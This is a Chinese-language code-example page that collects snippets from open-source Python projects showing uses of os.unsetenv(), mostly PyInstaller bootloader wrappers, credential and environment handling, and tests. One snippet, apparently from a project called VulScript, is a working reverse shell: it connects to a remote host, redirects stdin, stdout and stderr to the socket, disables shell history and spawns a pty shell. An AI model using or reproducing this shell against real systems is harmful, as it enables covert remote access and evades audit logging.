Python os 模块,unsetenv() 实例源码

我们从Python开源项目中,提取了以下36个代码示例,用于说明如何使用os.unsetenv()

项目:senf    作者:quodlibet    | 项目源码 | 文件源码
def unsetenv(key):
    """Like `os.unsetenv` but takes unicode under Windows + Python 2

    Args:
        key (pathlike): The env var to unset
    """

    key = path2fsn(key)
    if is_win:
        # python 3 has no unsetenv under Windows -> use our ctypes one as well
        try:
            del_windows_env_var(key)
        except WindowsError:
            pass
    else:
        os.unsetenv(key)
项目:cheribuild    作者:CTSRD-CHERI    | 项目源码 | 文件源码
def process(self):
        if not IS_FREEBSD:
            if not self.crossbuild:
                statusUpdate("Can't build CHERIBSD on a non-FreeBSD host! Any targets that depend on this will need"
                             " to scp the required files from another server (see --frebsd-build-server options)")
                return
            else:
                self.prepareFreeBSDCrossEnv()
        # remove any environment variables that could interfere with bmake running
        for k, v in os.environ.copy().items():
            if k in ("MAKEFLAGS", "MFLAGS", "MAKELEVEL", "MAKE_TERMERR", "MAKE_TERMOUT"):
                os.unsetenv(k)
                del os.environ[k]
        if self.config.buildenv or self.config.libcheri_buildenv:
            target = "libcheribuildenv" if self.config.libcheri_buildenv else "buildenv"
            args = self.buildworldArgs
            args.remove_flag("-s")  # buildenv should not be silent
            runCmd([self.makeCommand] + args.all_commandline_args + [target], env=args.env_vars,
                   cwd=self.sourceDir)
        else:
            super().process()
项目:Python_Study    作者:thsheep    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:aws-sudo    作者:voytek-solutions    | 项目源码 | 文件源码
def proxy_command(command, command_args, credentials):
    # Unset variables for sanity sake
    os.unsetenv('AWS_DEFAULT_PROFILE')
    os.unsetenv('AWS_PROFILE')
    os.unsetenv('AWS_ACCESS_KEY_ID')
    os.unsetenv('AWS_SECRET_ACCESS_KEY')
    os.unsetenv('AWS_SESSION_TOKEN')
    os.unsetenv('AWS_SECURITY_TOKEN')

    # Set AWS/Boto environemnt variables before executing target command
    os.putenv('AWS_ACCESS_KEY_ID', (credentials['AccessKeyId']))
    os.putenv('AWS_SECRET_ACCESS_KEY', (credentials['SecretAccessKey']))
    os.putenv('AWS_SESSION_TOKEN', (credentials['SessionToken']))
    os.putenv('AWS_SECURITY_TOKEN', (credentials['SessionToken']))

    command_status = os.system(command + " " + " ".join(command_args))
    exit(os.WEXITSTATUS(command_status))
项目:TTPassGen    作者:tp7309    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:driveboardapp    作者:nortd    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:driveboardapp    作者:nortd    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            # Last character is stripped in C-loader. We have to add
            # '/' or '\\' at the end.
            os.putenv('_MEIPASS2', sys._MEIPASS + os.sep)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '')
项目:PancakeViewer    作者:forensicmatt    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:cryptoluggage    作者:miguelinux314    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            os.putenv('_MEIPASS2', sys._MEIPASS)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '')
项目:unist_bb_downloader    作者:kcm4482    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:MaruCrawler    作者:KiririnLover    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:EventMonkey    作者:devgc    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:nRF5-multi-prog    作者:NordicPlayground    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:stash-scanner    作者:senuido    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:Enhance-GoodReads-Export    作者:PaulKlinger    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            os.putenv('_MEIPASS2', sys._MEIPASS)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '')


# Second override 'Popen' class with our modified version.
项目:mac-package-build    作者:persepolisdm    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:mac-package-build    作者:persepolisdm    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
        if hasattr(sys, 'frozen'):
            # We have to set original _MEIPASS2 value from sys._MEIPASS
            # to get --onefile mode working.
            # Last character is stripped in C-loader. We have to add
            # '/' or '\\' at the end.
            os.putenv('_MEIPASS2', sys._MEIPASS + os.sep)
        try:
            super(_Popen, self).__init__(*args, **kw)
        finally:
            if hasattr(sys, 'frozen'):
                # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                # available. In those cases we cannot delete the variable
                # but only set it to the empty string. The bootloader
                # can handle this case.
                if hasattr(os, 'unsetenv'):
                    os.unsetenv('_MEIPASS2')
                else:
                    os.putenv('_MEIPASS2', '')
项目:shadowsocks-pyqt    作者:falseen    | 项目源码 | 文件源码
def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

    # Second override 'Popen' class with our modified version.
项目:notex    作者:adiultra    | 项目源码 | 文件源码
def __init__(self, scr, title="", inittext="", win_location=(0, 0),
                 win_size=(20, 80), box=True, max_paragraphs=0, pw_mode=False,
                 edit=True):
        # Fix for python curses resize bug:
        # http://bugs.python.org/issue2675
        os.unsetenv('LINES')
        os.unsetenv('COLUMNS')
        self.scr = scr
        self.title_orig = title
        if sys.version_info.major < 3:
            enc = locale.getpreferredencoding() or 'utf-8'
            self.title_orig = str(self.title_orig, encoding=enc)
            inittext = str(inittext, encoding=enc)
        self.box = box
        self.max_paragraphs = max_paragraphs
        self.pw_mode = pw_mode
        self.edit = edit
        self.win_location_orig_y, self.win_location_orig_x = win_location
        self.win_size_orig_y, self.win_size_orig_x = win_size
        self.win_size_y = self.win_size_orig_y
        self.win_size_x = self.win_size_orig_x
        self.win_location_y = self.win_location_orig_y
        self.win_location_x = self.win_location_orig_x
        self.win_init()
        self.box_init()
        self.text_init(inittext)
        if self.edit is False:
            self.keys_init_noedit()
            try:
                curses.curs_set(0)
            except _curses.error:
                pass
        else:
            self.keys_init()
            curses.curs_set(1)
        self.display()
项目:ave    作者:sonyxperiadev    | 项目源码 | 文件源码
def t12():
    pretty = '%s t12' % __file__
    print(pretty)

    w = Workspace(uid='vcsjob-execute-t12')
    jobs = make_vcsjob_tree(w)
    os.unsetenv('PATH')

    exc = None
    try:
        vcsjob.execute_tags(jobs, None, ['PATH'])
    except Exception, e:
        exc = e

    if not exc:
        print(
            'FAIL %s: vcsjob.fetch.run() with junk --env did not fail'
            % pretty
        )
        return

    # check the error message
    if not str(exc).startswith('environment variable "PATH" is not set'):
        print('FAIL %s: wrong error message: %s' % (pretty, str(exc)))
        return

    w.delete()

# check that correct value is returned by vcsjob.execute_single()
项目:ave    作者:sonyxperiadev    | 项目源码 | 文件源码
def t12():
    pretty = '%s t12' % __file__
    print(pretty)

    w = Workspace(uid='vcsjob-execute-t12')
    jobs = make_vcsjob_tree(w)
    os.unsetenv('PATH')

    exc = None
    try:
        vcsjob.execute_tags(jobs, None, ['PATH'])
    except Exception, e:
        exc = e

    if not exc:
        print(
            'FAIL %s: vcsjob.fetch.run() with junk --env did not fail'
            % pretty
        )
        return

    # check the error message
    if not str(exc).startswith('environment variable "PATH" is not set'):
        print('FAIL %s: wrong error message: %s' % (pretty, str(exc)))
        return

    w.delete()

# check that correct value is returned by vcsjob.execute_single()
项目:gcp-audit    作者:spotify    | 项目源码 | 文件源码
def restore_env_credentials():
    if env_credentials:
        os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = env_credentials
    else:
        os.unsetenv('GOOGLE_APPLICATION_CREDENTIALS')
项目:isar    作者:ilbers    | 项目源码 | 文件源码
def empty_environment():
    """
    Remove all variables from the environment.
    """
    for s in list(os.environ.keys()):
        os.unsetenv(s)
        del os.environ[s]
项目:driveboardapp    作者:nortd    | 项目源码 | 文件源码
def machine():
    """
    Return machine suffix to use in directory name when looking
    for bootloader.

    PyInstaller is reported to work even on ARM architecture. For that
    case functions system() and architecture() are not enough.
    Path to bootloader has to be composed from system(), architecture()
    and machine() like:
        'Linux-32bit-arm'
    """
    mach = platform.machine()
    if mach.startswith('arm'):
        return 'arm'
    else:
        # Assume x86/x86_64 machine.
        return None


# Set and get environment variables does not handle unicode strings correctly
# on Windows.

# Acting on os.environ instead of using getenv()/setenv()/unsetenv(),
# as suggested in <http://docs.python.org/library/os.html#os.environ>:
# "Calling putenv() directly does not change os.environ, so it's
# better to modify os.environ." (Same for unsetenv.)
项目:driveboardapp    作者:nortd    | 项目源码 | 文件源码
def unsetenv(name):
    """
    Delete the environment variable 'name'.
    """
    # Some platforms (e.g. AIX) do not support `os.unsetenv()` and
    # thus `del os.environ[name]` has no effect onto the real
    # environment. For this case we set the value to the empty string.
    os.environ[name] = ""
    del os.environ[name]


# Exec commands in subprocesses.
项目:devenv    作者:dumplingtech    | 项目源码 | 文件源码
def start_proc(self, cluster_list, cluster_state):
        os.environ['ETCD_INITIAL_CLUSTER'] = self.build_initial_cluster(cluster_list)

        if cluster_state == 'member':
            subprocess.call(['etcdctl',
                             '--endpoint',
                             self.build_endpoint(cluster_list),
                             'member',
                             'add',
                             self.ip,
                             os.environ['ETCD_INITIAL_ADVERTISE_PEER_URLS']])
            shutil.rmtree(self.DATA_DIR + '/proxy', ignore_errors=True)
            os.environ['ETCD_INITIAL_CLUSTER_STATE'] = 'existing'
            os.unsetenv('ETCD_PROXY')

        elif cluster_state == 'bootstrap':
            shutil.rmtree(self.DATA_DIR + '/member', ignore_errors=True)
            shutil.rmtree(self.DATA_DIR + '/proxy', ignore_errors=True)
            os.environ['ETCD_INITIAL_CLUSTER_STATE'] = 'new'
            os.unsetenv('ETCD_PROXY')

        else:
            shutil.rmtree(self.DATA_DIR + '/member', ignore_errors=True)
            os.unsetenv('ETCD_INITIAL_CLUSTER_STATE')
            os.environ['ETCD_PROXY'] = 'on'

        logging.info("Starting etcd process in %s mode - %s" % (cluster_state, cluster_list))
        self.etcd_proc = subprocess.Popen('/usr/local/bin/etcd')
        self.current_cluster_list = cluster_list
        self.current_cluster_state = cluster_state
项目:devenv    作者:dumplingtech    | 项目源码 | 文件源码
def start_proc(self, cluster_list, cluster_state):
        os.environ['ETCD_INITIAL_CLUSTER'] = self.build_initial_cluster(cluster_list)

        if cluster_state == 'member':
            subprocess.call(['etcdctl',
                             '--endpoint',
                             self.build_endpoint(cluster_list),
                             'member',
                             'add',
                             self.ip,
                             os.environ['ETCD_INITIAL_ADVERTISE_PEER_URLS']])
            shutil.rmtree(self.DATA_DIR + '/proxy', ignore_errors=True)
            os.environ['ETCD_INITIAL_CLUSTER_STATE'] = 'existing'
            os.unsetenv('ETCD_PROXY')

        elif cluster_state == 'bootstrap':
            shutil.rmtree(self.DATA_DIR + '/member', ignore_errors=True)
            shutil.rmtree(self.DATA_DIR + '/proxy', ignore_errors=True)
            os.environ['ETCD_INITIAL_CLUSTER_STATE'] = 'new'
            os.unsetenv('ETCD_PROXY')

        else:
            shutil.rmtree(self.DATA_DIR + '/member', ignore_errors=True)
            os.unsetenv('ETCD_INITIAL_CLUSTER_STATE')
            os.environ['ETCD_PROXY'] = 'on'

        logging.info("Starting etcd process in %s mode - %s" % (cluster_state, cluster_list))
        self.etcd_proc = subprocess.Popen('/usr/local/bin/etcd')
        self.current_cluster_list = cluster_list
        self.current_cluster_state = cluster_state
项目:bubuku    作者:zalando-nakadi    | 项目源码 | 文件源码
def test_zk_prefix_replacement():
    if os.getenv('ZOOKEEPER_PREFIX', None):
        os.unsetenv('ZOOKEEPER_PREFIX')
    assert load_config().zk_prefix == '/'

    os.environ['ZOOKEEPER_PREFIX'] = '/'
    assert load_config().zk_prefix == '/'

    os.environ['ZOOKEEPER_PREFIX'] = 'test'
    assert load_config().zk_prefix == '/test'

    os.environ['ZOOKEEPER_PREFIX'] = '/test'
    assert load_config().zk_prefix == '/test'
项目:data-store    作者:HumanCellAtlas    | 项目源码 | 文件源码
def tearDownModule():
    ESInfo.server.shutdown()
    IndexSuffix.reset()
    os.unsetenv('DSS_ES_PORT')
项目:data-store    作者:HumanCellAtlas    | 项目源码 | 文件源码
def tearDownModule():
    ESInfo.server.shutdown()
    HTTPInfo.server.shutdown()
    IndexSuffix.reset()
    os.unsetenv('DSS_ES_PORT')
项目:data-store    作者:HumanCellAtlas    | 项目源码 | 文件源码
def tearDownModule():
    ESInfo.server.shutdown()
    IndexSuffix.reset()
    os.unsetenv('DSS_ES_PORT')
项目:VulScript    作者:y1ng1996    | 项目源码 | 文件源码
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()
项目:udocker    作者:indigo-dc    | 项目源码 | 文件源码
def test_07_host_env(self, mock_msg):
        """Test passing of host env"""
        if container_not_exists("busyRUN"):
            self.skipTest("no container")
        os.environ["UDOCKER_EXPORTED_VAR"] = "udocker exported var"
        do_run(self, mock_msg,
               [UDOCKER, "run", "--hostenv", "busyRUN", "/bin/env"],
               None, " udocker exported var")
        os.unsetenv("UDOCKER_EXPORTED_VAR")
项目:udocker    作者:indigo-dc    | 项目源码 | 文件源码
def test_23_run_reg50(self, mock_msg):
        """Test create, ps, rm"""
        os.environ["UDOCKER_CONTAINERS"] = "/tmp/udocker_containers"
        do_action([UDOCKER, "rm", "busyTMP"])
        do_run(self, mock_msg,
               [UDOCKER, "create", "--name=busyTMP", "busybox"], None, None)
        do_run(self, mock_msg,
               [UDOCKER, "ps"], " busyTMP", None)
        do_run(self, mock_msg,
               [UDOCKER, "ps"], "!busyRUN", None)
        # delete not owner (regression of #50)
        do_run(self, mock_msg,
               [UDOCKER, "rm", "busyTMP"], "!Error", None)
        os.unsetenv("UDOCKER_CONTAINERS")
项目:mac-package-build    作者:persepolisdm    | 项目源码 | 文件源码
def machine():
    """
    Return machine suffix to use in directory name when looking
    for bootloader.

    PyInstaller is reported to work even on ARM architecture. For that
    case functions system() and architecture() are not enough.
    Path to bootloader has to be composed from system(), architecture()
    and machine() like:
        'Linux-32bit-arm'
    """
    mach = platform.machine()
    if mach.startswith('arm'):
        return 'arm'
    else:
        # Assume x86/x86_64 machine.
        return None


# Set and get environment variables does not handle unicode strings correctly
# on Windows.

# Acting on os.environ instead of using getenv()/setenv()/unsetenv(),
# as suggested in <http://docs.python.org/library/os.html#os.environ>:
# "Calling putenv() directly does not change os.environ, so it's
# better to modify os.environ." (Same for unsetenv.)
项目:mac-package-build    作者:persepolisdm    | 项目源码 | 文件源码
def unsetenv(name):
    """
    Delete the environment variable 'name'.
    """
    # Some platforms (e.g. AIX) do not support `os.unsetenv()` and
    # thus `del os.environ[name]` has no effect onto the real
    # environment. For this case we set the value to the empty string.
    os.environ[name] = ""
    del os.environ[name]


# Exec commands in subprocesses.